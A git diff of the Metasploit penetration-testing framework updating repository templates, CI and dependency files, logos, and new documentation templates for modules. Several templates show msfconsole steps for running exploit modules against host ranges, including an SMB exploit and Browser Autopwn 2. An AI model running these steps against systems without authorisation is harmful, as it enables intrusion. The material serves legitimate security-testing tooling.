diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md new file mode 100644 index 0000000000..dfe8c50c1d --- /dev/null +++ b/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,41 @@ +## Steps to reproduce + +How'd you do it? + +1. ... +2. ... + +This section should also tell us any relevant information about the +environment; for example, if an exploit that used to work is failing, +tell us the victim operating system and service versions. + +## Expected behavior + +What should happen? + +## Current behavior + +What happens instead? + +You might also want to check the last ~1k lines of +`/opt/metasploit/apps/pro/engine/config/logs/framework.log` or +`~/.msf4/logs/framework.log` for relevant stack traces + + +## System stuff + +### Metasploit version + +Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install). + +### I installed Metasploit with: +- [ ] Kali package via apt +- [ ] Omnibus installer (nightly) +- [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp) +- [ ] Source install (please specify ruby version) + +### OS + +What OS are you running Metasploit on? + + diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 0000000000..cb977a9da4 --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,14 @@ + +Tell us what this change does. If you're fixing a bug, please mention +the github issue number. + +## Verification + +List the steps needed to make sure this thing works + +- [ ] Start `msfconsole` +- [ ] `use exploit/windows/smb/ms08_067_netapi` +- [ ] ... +- [ ] **Verify** the thing does what it should +- [ ] **Verify** the thing does not do what it should not + diff --git a/.gitignore b/.gitignore index 532dcce24a..e83ddb0b91 100644 --- a/.gitignore +++ b/.gitignore @@ -68,6 +68,8 @@ external/source/exploits/**/Release # Avoid checking in Meterpreter binaries. These are supplied upstream by # the metasploit-payloads gem. data/meterpreter/*.dll +data/meterpreter/*.php +data/meterpreter/*.py data/meterpreter/*.bin data/meterpreter/*.jar data/meterpreter/*.lso diff --git a/.mailmap b/.mailmap index 05e09baf26..7ab2a7147d 100644 --- a/.mailmap +++ b/.mailmap @@ -1,45 +1,45 @@ -bcook-r7 -bcook-r7 Brent Cook -bturner-r7 Brandon Turner -cdoughty-r7 Chris Doughty -dheiland-r7 Deral Heiland -dmaloney-r7 David Maloney -dmaloney-r7 David Maloney -dmaloney-r7 dmaloney-r7 -dmohanty-r7 Dev Mohanty -dmohanty-r7 Dev Mohanty -dmohanty-r7 dmohanty-r7 -dmohanty-r7 dmohanty-r7 -ecarey-r7 Erran Carey -farias-r7 Fernando Arias -gmikeska-r7 Greg Mikeska -gmikeska-r7 Gregory Mikeska -hdm HD Moore -hdm HD Moore -hdm HD Moore -jhart-r7 Jon Hart -jlee-r7 # aka egypt -jlee-r7 -kgray-r7 Kyle Gray -lsanchez-r7 Lance Sanchez -lsanchez-r7 Lance Sanchez -lsanchez-r7 Lance Sanchez -lsanchez-r7 Lance Sanchez -lsanchez-r7 darkbushido -lsato-r7 Louis Sato +acammack-r7 Adam Cammack +bcook-r7 +bcook-r7 Brent Cook +bturner-r7 Brandon Turner +bpatterson-r7 Brian Patterson +cdoughty-r7 Chris Doughty +dheiland-r7 Deral Heiland +dmaloney-r7 David Maloney +dmaloney-r7 David Maloney +dmaloney-r7 dmaloney-r7 +dmohanty-r7 Dev Mohanty +dmohanty-r7 Dev Mohanty +dmohanty-r7 dmohanty-r7 +dmohanty-r7 dmohanty-r7 +ecarey-r7 Erran Carey +farias-r7 Fernando Arias +gmikeska-r7 Greg Mikeska +gmikeska-r7 Gregory Mikeska +jhart-r7 Jon Hart +jlee-r7 # aka egypt +jlee-r7 +kgray-r7 Kyle Gray +lsanchez-r7 Lance Sanchez +lsanchez-r7 Lance Sanchez +lsanchez-r7 Lance Sanchez +lsanchez-r7 Lance Sanchez +lsanchez-r7 darkbushido +lsato-r7 Louis Sato pdeardorff-r7 Paul Deardorff pdeardorff-r7 pdeardorff-r7 -sgonzalez-r7 Sonny Gonzalez -shuckins-r7 Samuel Huckins -todb-r7 Tod Beardsley -todb-r7 Tod Beardsley -todb-r7 Tod Beardsley -wchen-r7 # aka sinn3r -wchen-r7 -wvu-r7 William Vu -wvu-r7 William Vu -wvu-r7 William Vu -wvu-r7 wvu-r7 +sgonzalez-r7 Sonny Gonzalez +shuckins-r7 Samuel Huckins +todb-r7 Tod Beardsley +todb-r7 Tod Beardsley +todb-r7 Tod Beardsley +wchen-r7 # aka sinn3r +wchen-r7 +wvu-r7 William Vu +wvu-r7 William Vu +wvu-r7 William Vu +wvu-r7 wvu-r7 +wwebb-r7 William Webb # Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at @@ -83,6 +83,9 @@ g0tmi1k g0tmi1k h0ng10 h0ng10 h0ng10 Hans-Martin Münch +hdm HD Moore +hdm HD Moore +hdm HD Moore jabra Josh Abraham jabra Joshua Abraham jcran @@ -111,6 +114,7 @@ m-1-k-3 Michael Messner Meatballs1 Meatballs1 mubix Rob Fuller +net-ninja Steven Seeley nevdull77 Patrik Karlsson nmonkee nmonkee nullbind nullbind diff --git a/.ruby-version b/.ruby-version index 04b10b4f15..ebf14b4698 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.1.7 +2.1.8 diff --git a/.travis.yml b/.travis.yml index 3e24267d3d..97540b358a 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,11 +1,22 @@ +sudo: false +group: stable bundler_args: --without coverage development pcap cache: bundler +addons: + postgresql: '9.3' + apt: + packages: + - libpcap-dev + - graphviz +language: ruby +rvm: + - '2.1.8' + env: - RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true - RAKE_TASKS=spec SPEC_OPTS="--tag content" - RAKE_TASKS=spec SPEC_OPTS="--tag ~content" -language: ruby matrix: fast_finish: true before_install: @@ -23,9 +34,6 @@ before_script: script: # fail build if db/schema.rb update is not committed - git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS -sudo: false -rvm: - - '2.1.7' notifications: irc: "irc.freenode.org#msfnotify" @@ -37,10 +45,4 @@ git: branches: except: - gh-pages - - metakitty - -addons: - postgresql: '9.3' - apt: - packages: - - libpcap-dev + - metakitty \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index dc8cd6cc82..c9ccb13e26 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -37,6 +37,7 @@ and Metasploit's [Common Coding Mistakes]. * **Do** follow the [50/72 rule] for Git commit messages. * **Don't** use the default merge messages when merging from other branches. * **Do** create a [topic branch] to work on instead of working directly on `master`. +* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT. ### Pull Requests @@ -51,7 +52,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow. #### New Modules -* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. +* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up. - It would be even better to set up `msftidy.rb` as a [pre-commit hook]. * **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much. * **Don't** include more than one module per pull request. diff --git a/Gemfile b/Gemfile index 9893680a4d..0a81128d1c 100755 --- a/Gemfile +++ b/Gemfile @@ -18,6 +18,9 @@ group :development do gem 'yard' # for development and testing purposes gem 'pry' + # module documentation + gem 'octokit', '~> 4.0' + # rails-upgrade staging gems end group :development, :test do diff --git a/Gemfile.lock b/Gemfile.lock index 28841cf6ca..0bfef26ad5 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,30 +1,33 @@ PATH remote: . specs: - metasploit-framework (4.11.8) + metasploit-framework (4.11.20) actionpack (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt filesize - jsobfu (~> 0.3.0) + jsobfu (~> 0.4.1) json metasm (~> 1.0.2) - metasploit-concern (= 1.0.0) - metasploit-credential (= 1.0.1) - metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.21) - metasploit_data_models (= 1.2.10) + metasploit-concern + metasploit-credential (= 1.1.0) + metasploit-model (= 1.1.0) + metasploit-payloads (= 1.1.5) + metasploit_data_models (= 1.3.0) msgpack network_interface (~> 0.0.1) nokogiri + octokit openssl-ccm (= 1.2.1) packetfu (= 1.1.11) + patch_finder (>= 1.0.2) pcaprub pg (>= 0.11) railties rb-readline-r7 recog (= 2.0.14) + redcarpet robots rubyzip (~> 1.1) sqlite3 @@ -57,14 +60,15 @@ GEM multi_json (~> 1.3) thread_safe (~> 0.1) tzinfo (~> 0.3.37) + addressable (2.3.8) arel (4.0.2) - arel-helpers (2.1.1) - activerecord (= 4.0.13) + arel-helpers (2.2.0) + activerecord (>= 3.1.0, < 5) aruba (0.6.2) childprocess (>= 0.3.6) cucumber (>= 1.1.1) rspec-expectations (>= 2.7.0) - bcrypt (3.1.10) + bcrypt (3.1.11) builder (3.1.4) capybara (2.4.4) mime-types (>= 1.16) @@ -95,6 +99,8 @@ GEM factory_girl_rails (4.5.0) factory_girl (~> 4.5.0) railties (>= 3.0.0) + faraday (0.9.2) + multipart-post (>= 1.2, < 3) ffi (1.9.8) filesize (0.1.1) fivemat (1.3.2) @@ -102,35 +108,35 @@ GEM multi_json (~> 1.3) hike (1.2.3) i18n (0.7.0) - jsobfu (0.3.0) + jsobfu (0.4.1) rkelly-remix (= 0.0.6) json (1.8.3) mail (2.6.3) mime-types (>= 1.16, < 3) metasm (1.0.2) - metasploit-concern (1.0.0) + metasploit-concern (1.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-credential (1.0.1) - metasploit-concern (~> 1.0) - metasploit-model (~> 1.0) - metasploit_data_models (~> 1.0) + metasploit-credential (1.1.0) + metasploit-concern (~> 1.1) + metasploit-model (~> 1.1) + metasploit_data_models (~> 1.3) pg railties rubyntlm rubyzip (~> 1.1) - metasploit-model (1.0.0) + metasploit-model (1.1.0) activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.21) - metasploit_data_models (1.2.10) + metasploit-payloads (1.1.5) + metasploit_data_models (1.3.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers - metasploit-concern (~> 1.0) - metasploit-model (~> 1.0) + metasploit-concern (~> 1.1) + metasploit-model (~> 1.1) pg postgres_ext railties (>= 4.0.9, < 4.1.0) @@ -139,20 +145,24 @@ GEM mime-types (2.6.1) mini_portile2 (2.0.0) minitest (4.7.5) - msgpack (0.7.1) + msgpack (0.7.4) multi_json (1.11.2) multi_test (0.1.2) + multipart-post (2.0.0) network_interface (0.0.1) - nokogiri (1.6.7.1) + nokogiri (1.6.7.2) mini_portile2 (~> 2.0.0.rc2) + octokit (4.2.0) + sawyer (~> 0.6.0, >= 0.5.3) openssl-ccm (1.2.1) packetfu (1.1.11) network_interface (~> 0.0) pcaprub (~> 0.12) - pcaprub (0.12.0) + patch_finder (1.0.2) + pcaprub (0.12.1) pg (0.18.4) pg_array_parser (0.0.9) - postgres_ext (2.4.1) + postgres_ext (3.0.0) activerecord (>= 4.0.0) arel (>= 4.0.1) pg_array_parser (~> 0.0.9) @@ -180,7 +190,7 @@ GEM rb-readline-r7 (0.5.2.0) recog (2.0.14) nokogiri - redcarpet (3.2.3) + redcarpet (3.3.4) rkelly-remix (0.0.6) robots (0.10.1) rspec-core (3.3.2) @@ -200,8 +210,11 @@ GEM rspec-mocks (~> 3.3.0) rspec-support (~> 3.3.0) rspec-support (3.3.0) - rubyntlm (0.5.2) - rubyzip (1.1.7) + rubyntlm (0.6.0) + rubyzip (1.2.0) + sawyer (0.6.0) + addressable (~> 2.3.5) + faraday (~> 0.8, < 0.10) shoulda-matchers (2.8.0) activesupport (>= 3.0.0) simplecov (0.9.2) @@ -238,6 +251,7 @@ DEPENDENCIES factory_girl_rails (~> 4.5.0) fivemat (~> 1.3.1) metasploit-framework! + octokit (~> 4.0) pry rake (>= 10.0.0) redcarpet diff --git a/config/cucumber.yml b/config/cucumber.yml index e3de143513..8cfb5f1a74 100644 --- a/config/cucumber.yml +++ b/config/cucumber.yml @@ -6,5 +6,6 @@ ignored_tags = "--tags ~@boot --tags ~@targets" %> default: <%= std_opts %> <%= ignored_tags %> features boot: <%= std_opts %> --tags @boot features +exploit: <%= std_opts %> --tags @targets features wip: --tags @wip:3 --wip features -rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip +rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip \ No newline at end of file diff --git a/config/database.yml.example b/config/database.yml.example index 060dd23625..b04aede6b0 100644 --- a/config/database.yml.example +++ b/config/database.yml.example @@ -1,9 +1,9 @@ -# Please only use postgresql bound to a TCP port. -# Only postgresql is supportable for metasploit-framework -# these days. (No SQLite, no MySQL). -# # To set up a metasploit database, follow the directions hosted at: # http://r-7.co/MSF-DEV#set-up-postgresql +# +# Kali Linux and the Omnibus installers both include an easy wrapper script for +# managing your database, which may be more convenient than rolling your own. + development: &pgsql adapter: postgresql database: metasploit_framework_development @@ -11,7 +11,7 @@ development: &pgsql password: __________________________________ host: localhost port: 5432 - pool: 5 + pool: 200 timeout: 5 # You will often want to seperate your databases between dev diff --git a/data/exploits/R7_2015_17/stream.raw b/data/exploits/R7_2015_17/stream.raw new file mode 100644 index 0000000000..aa17f76ea2 Binary files /dev/null and b/data/exploits/R7_2015_17/stream.raw differ diff --git a/data/logos/zsploit-1.txt b/data/logos/zsploit-1.txt index 98cd8006bf..95d6f8cd24 100644 --- a/data/logos/zsploit-1.txt +++ b/data/logos/zsploit-1.txt @@ -1,11 +1,11 @@ -____________ - [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] - [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] - [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|`?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%] - [% .--------..-----.| |_ .---.-.|.,a$%|.-----.| |.-----.|__|| |_ %%] - [% ||| -__|| _|| _ || ,,aS$""` || _ || || _ || || _|%%] - [% |__|__|__||_____||____||___._||%$P"`|| __||__||_____||__||____|%%] - [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,||__|%%%%%%%%%%%%%%%%%%%%%%%%%%] - [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] - [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%`"$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] - [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] +%bld%blk ____________%whi + [%%%%%clr%%%%%%%%%bld%blk%%%%%%%%blk%%%%%%%%%%%%%| %red$a,%blk |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi] + [%%%%clr%%%%%%%%%%bld%blk%%%%%%%%%%%%%%%%%%%%| %red$S`?a,%blk |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi] + [%%%clr%%%%%%%%bld%blk%%%%%%%%%%%%whi_%cya_%blk%%%%%%%%%%| %red`?a,%blk |%%%%%%%%%whi_%grn_%blk%%%%%%%%%%whi_%grn_%blk%%%whi_%grn_ %blk%%%%%whi] + [% .-%cya--%clr%cya-----.%bld%whi.-%cya-%clr%cya---.%bld%whi| %clr%cya|_ %bld%whi.-%cya-%clr%cya-.-.%bld%blk| %red.,a$%%blk|%whi.-%grn---%clr%grn-.%bld%whi| %clr%grn|%bld%whi.-%grn--%clr%grn--.%bld%whi|%grn_%clr%grn_|%bld%whi| %clr%grn|_ %bld%blk%%%whi] + [% | %clr%cya|%bld%whi| %clr%cya-__|%clr%cya| %clr%cya_|%bld%whi| %clr%cya_ |%bld%blk| %red,,aS$""`%blk |%whi| %clr%grn_ |%bld%grn| %clr%grn|%bld%whi| %clr%grn_ |%bld%grn| %clr%grn|%bld%grn| %clr%grn_|%bld%blk%%%whi] + [% %cya|%clr%cya__|__|__|%bld%cya|_%clr%cya____|%bld%cya|_%clr%cya___|%bld%cya|_%clr%cya__._|%bld%blk|%red%$P"`%blk |%grn| %clr%grn__|%bld%grn|_%clr%grn_|%bld%grn|_%clr%grn____|%bld%grn|_%clr%grn_|%bld%grn|_%clr%grn___|%bld%blk%%%bld%whi] + [%%clr%%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%| %red`"a,%blk |%clr%grn|__|%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%whi] + [%%clr%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____%red`"a,$$%blk__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi] + [%clr%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %red`"$%blk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi] + [%clr%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi] diff --git a/data/logos/zsploit-2.txt b/data/logos/zsploit-2.txt index c95f49cbe9..48c6631edd 100644 --- a/data/logos/zsploit-2.txt +++ b/data/logos/zsploit-2.txt @@ -1,21 +1,20 @@ - - -.. - . - -dBBBBBBb dBBBP dBBBBBBP dBBBBBb .o -' dB'BBP - dB'dB'dB' dBBPdBPdBP BB - dB'dB'dB' dBPdBPdBP BB - dB'dB'dB' dBBBBP dBPdBBBBBBB - -dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP -..dB' dBP dB'.BP -|dBP dBBBB' dBP dB'.BP dBP dBP ---o-- dBP dBP dBP dB'.BP dBP dBP -|dBBBBP dBP dBBBBP dBBBBP dBP dBP - -. -. -oTo boldly shell were no -shell has gone before +%bld%whi + . . + . + + %bludBBBBBBb dBBBP dBBBBBBP dBBBBBb %whi. o + %blu ' dB' BBP + dB'dB'dB' dBBP dBP dBP BB + dB'dB'dB' dBP dBP dBP BB + dB'dB'dB' dBBBBP dBP dBBBBBBB + + %reddBBBBBP %bludBBBBBb dBP dBBBBP dBP dBBBBBBP + %whi. %cya. %bludB' dBP dB'.BP + %cya| %reddBP%blu dBBBB' dBP dB'.BP dBP dBP + %cya--o-- %reddBP%blu dBP dBP dB'.BP dBP dBP + %cya| %reddBBBBP%blu dBP dBBBBP dBBBBP dBP dBP%whi + + . + . + o %grnTo boldly go where no + shell has gone before diff --git a/data/logos/zsploit-3.txt b/data/logos/zsploit-3.txt index 35fd821a29..3a2c01931a 100644 --- a/data/logos/zsploit-3.txt +++ b/data/logos/zsploit-3.txt @@ -1,22 +1,21 @@ - -.,,.. -.\$$$$$L..,,==aaccaacc%#s$b.d8, d8P -d8P#$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p -d888888P'7$$$$\""""''^^`` .7$$$|D*"'```?88' - d8bd8b.d8p d8888b ?88' d888b8b_.os#$|8*"` d8P?8b 88P - 88P`?P'?P d8b_,dP 88P d8P' ?88.oaS###S*"`d8P d8888b ?88b 88b - d88 d8 ?8 88b88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b -d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88 -.a#$$$$$$"`88b d8P 88b`?8888P' -,s$$$$$$$"`888888P' 88n_.,,,ass;: -.a$$$$$$$P`d88P' .,.ass%#S$$$$$$$$$$$$$$' -.a$###$$$P`_.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$' -,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS' -.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$' -_______________________________________________________________ ,&$$$$$$'_____, - ll&&$$$$' -.;;lll&&&&' -...;;lllll&' -......;;;llll;;;.... -` ......;;;;... . . -` `` ` +%clr%bld%red + .,,. . + .\$$$$$L..,,==aaccaacc%#s$b. %whid%grn8, %whid8%grnP + %whid8%cyaP %red#$$$$$$$$$$$$$$$$$$$$$$$$$$$b. %whi`BP d88%grn8888p + %whid%cya888888P %red'7$$$$\""""''^^`` .7$$$|D*"'``` %whi?%grn88' + %whid8%cyabd8b.d8p %whid8%cya888b %whi?%cya88' %whid88%cya8b8b%red _.os#$|8*"` %whid8%grnP %whi?8%grnb 88P + %whi8%cya8P`?P'?P %whid8%cyab_,dP 88P %whid8%cyaP' ?88%red .oaS###S*"` %whid8%grnP %whid88%grn88b $whi?%grn88b 88b + %cyad88 d8 ?8 88b %whi8%cya8b 88b ,88b %red.osS$$$$*" %grn?88,.d88b, %whid%grn88 %whid%grn8P' ?88 88P `?8b +%cyad88' d88b 8b`?8888P'`?8b`?88P'%red.aS$$$$Q*"` %grn`?88' ?88 ?88 88b d88 d88%red + .a#$$$$$$"` %grn88b d8P 88b`?8888P'%red + ,s$$$$$$$"` %grn888888P' 88n%red _.,,,ass;: + .a$$$$$$$P` %grnd88P'%red .,.ass%#S$$$$$$$$$$$$$$' + .a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$' + ,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS' + .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$' +%whi___________%clr_____________________________%bld%blk_______________________%red ,&$$$$$$'%blk_____%red + ll&&$$$$' + .;;lll&&&&' + ...;;lllll&' + ......;;;llll;;;.... + ` ......;;;;... . . diff --git a/data/markdown_doc/auxiliary_scanner_template.erb b/data/markdown_doc/auxiliary_scanner_template.erb new file mode 100644 index 0000000000..409a7c9970 --- /dev/null +++ b/data/markdown_doc/auxiliary_scanner_template.erb @@ -0,0 +1,29 @@ +This module is a scanner module, and is capable of testing against multiple hosts. + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` + +Other examples of setting the RHSOTS option: + +Example 1: + +``` +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.3-192.168.1.200 +``` + +Example 2: + +``` +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS 192.168.1.1/24 +``` + +Example 3: + +``` +msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS file:///tmp/ip_list.txt +``` diff --git a/data/markdown_doc/bes_demo_template.erb b/data/markdown_doc/bes_demo_template.erb new file mode 100644 index 0000000000..21c130dae2 --- /dev/null +++ b/data/markdown_doc/bes_demo_template.erb @@ -0,0 +1,15 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > run +``` + +This module is also supported by Browser Autopwn 2. + +To load it from Browser Autopwn 2, here's how: + +``` +msf > use auxiliary/server/browser_autopwn2 +msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN <%= mod.shortname %> +INCLUDE_PATTERN => <%= mod.shortname %> +msf auxiliary(browser_autopwn2) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/default_template.erb b/data/markdown_doc/default_template.erb new file mode 100644 index 0000000000..a771f07991 --- /dev/null +++ b/data/markdown_doc/default_template.erb @@ -0,0 +1,50 @@ +## <%= items[:mod_name] %> +

+<%= normalize_description(items[:mod_description]) %> +

+ +## Module Name + +<%= Rex::Text.html_encode(items[:mod_fullname]) %> + +## Authors + +<%= normalize_authors(items[:mod_authors]) %> + +<% unless items[:mod_platforms].empty? %> +## Platforms +<%= normalize_platforms(items[:mod_platforms]) %> +<% end %> + +## Reliability + +<%= normalize_rank(items[:mod_rank]) %> + +## Related Pull Requests + +<%= normalize_pull_requests(items[:mod_pull_requests]) %> + +<% unless items[:mod_refs].empty? %> +## References + +<%= normalize_references(items[:mod_refs]) %> +<% end %> + +<% if items[:mod_targets] %> +## Available Targets + +<%= normalize_targets(items[:mod_targets]) %> + +<% end %> + +## Required Options + +<% if normalize_options(items[:mod_options]).empty? %> +No options required. +<% else %> +<%= normalize_options(items[:mod_options]) %> +<% end %> + +## Basic Usage + +<%= normalize_demo_output(items[:mod_demo]) %> \ No newline at end of file diff --git a/data/markdown_doc/generic_demo_template.erb b/data/markdown_doc/generic_demo_template.erb new file mode 100644 index 0000000000..fec7ccf244 --- /dev/null +++ b/data/markdown_doc/generic_demo_template.erb @@ -0,0 +1,9 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show targets + ... a list of targets ... +msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/html_template.erb b/data/markdown_doc/html_template.erb new file mode 100644 index 0000000000..ff5dbdcb08 --- /dev/null +++ b/data/markdown_doc/html_template.erb @@ -0,0 +1,54 @@ + + +<% unless kb.empty? %> + +<% end %> + + + +<% unless kb.empty? %> + + + + +
+
Overview +
+
Knowledge Base +
+

+<% end %> +
+<%= r.render(md) %> +
+<% unless kb.empty? %> +
+<%= r.render(kb) %> +
+<% end %> + + \ No newline at end of file diff --git a/data/markdown_doc/httpserver_demo_template.erb b/data/markdown_doc/httpserver_demo_template.erb new file mode 100644 index 0000000000..3d5737a95d --- /dev/null +++ b/data/markdown_doc/httpserver_demo_template.erb @@ -0,0 +1,4 @@ +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/localexploit_demo_template.erb b/data/markdown_doc/localexploit_demo_template.erb new file mode 100644 index 0000000000..e7ac42287c --- /dev/null +++ b/data/markdown_doc/localexploit_demo_template.erb @@ -0,0 +1,14 @@ +Note: To run a local exploit, make sure you are at the msf prompt. +Also, to check the session ID, use the ```sessions``` command. + + +``` +msf > use <%= mod.fullname %> +msf <%= mod.type %>(<%= mod.shortname %>) > show targets + ... a list of targets ... +msf <%= mod.type %>(<%= mod.shortname %>) > set TARGET target-id +msf <%= mod.type %>(<%= mod.shortname %>) > show options + ... show and set options ... +msf <%= mod.type %>(<%= mod.shortname %>) > set SESSION session-id +msf <%= mod.type %>(<%= mod.shortname %>) > exploit +``` \ No newline at end of file diff --git a/data/markdown_doc/markdown.css b/data/markdown_doc/markdown.css new file mode 100644 index 0000000000..abe2aec153 --- /dev/null +++ b/data/markdown_doc/markdown.css @@ -0,0 +1,258 @@ +h1, h2, h3, h4, h5, h6, p, blockquote { + margin: 0; + padding: 0; +} +body { + font-family: Arial, "Helvetica Neue", Helvetica, "Hiragino Sans GB", sans-serif; + font-size: 16px; + line-height: 18px; + color: #737373; + margin: 10px 13px 10px 13px; +} +a { + color: #0069d6; +} +a:hover { + color: #0050a3; + text-decoration: none; +} +a img { + border: none; +} +p { + margin-bottom: 16px; +} +h1, h2, h3, h4, h5, h6 { + color: #404040; + line-height: 36px; +} +h1 { + margin-bottom: 18px; + font-size: 30px; +} +h2 { + font-size: 24px; + margin-bottom: 16px; +} +h3 { + font-size: 18px; + margin-bottom: 16px; +} +h4 { + font-size: 16px; + margin-bottom: 16px; +} +h5 { + font-size: 16px; + margin-bottom: 16px; +} +h6 { + font-size: 13px; + margin-bottom: 16px; +} +hr { + margin: 0 0 19px; + border: 0; + border-bottom: 1px solid #eee; +} +blockquote { + padding: 13px 13px 21px 15px; + margin-bottom: 18px; + font-family:georgia,serif; + font-style: italic; +} +blockquote:before { + content:"\201C"; + font-size:40px; + margin-left:-10px; + font-family:georgia,serif; + color:#eee; +} +blockquote p { + font-size: 16px; + font-weight: 300; + line-height: 18px; + margin-bottom: 0; + font-style: italic; +} +code, pre { + font-family: Monaco, Andale Mono, Courier New, monospace; +} +code { + background-color: #eee; + color: rgba(0, 0, 0, 0.75); + padding: 1px 3px; + font-size: 13px; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} +pre { + display: block; + padding: 16px; + margin: 0 0 18px; + line-height: 16px; + font-size: 13px; + border: 1px solid #d9d9d9; + white-space: pre-wrap; + word-wrap: break-word; +} +pre code { + background-color: #fff; + color:#737373; + font-size: 13px; + padding: 0; +} +@media screen and (min-width: 768px) { + body { + width: 748px; + margin:10px auto; + } +} +#overview_info_button { + font-family:Arial, sans-serif; + font-size:16px; + padding:10px 5px; + border-style:solid; + border-width:1px; + border-color:#ccc; + color:#333; +} +#knowledge_base_button { + font-family:Arial, sans-serif; + font-size:16px; + padding:10px 5px; + border-style:solid; + border-width:1px; + border-color:#EEEEEE; + color:#C4C4C4; +} +#overview_info_button:hover, #knowledge_base_button:hover { + cursor: pointer; +} +#knowledge_base { + display: none; +} +#long_list { + height:280px; + overflow:auto; + border-style: solid; + border-width: 1px; + border-color: #ccc; + padding: 5px; +} + + +/* +Description: Foundation 4 docs style for highlight.js +Author: Dan Allen +Website: http://foundation.zurb.com/docs/ +Version: 1.0 +Date: 2013-04-02 +*/ + +pre code { + display: block; padding: 0.5em; + background: #eee; +} + +pre .decorator, +pre .annotation { + color: #000077; +} + +pre .attribute { + color: #070; +} + +pre .value, +pre .string, +pre .scss .value .string { 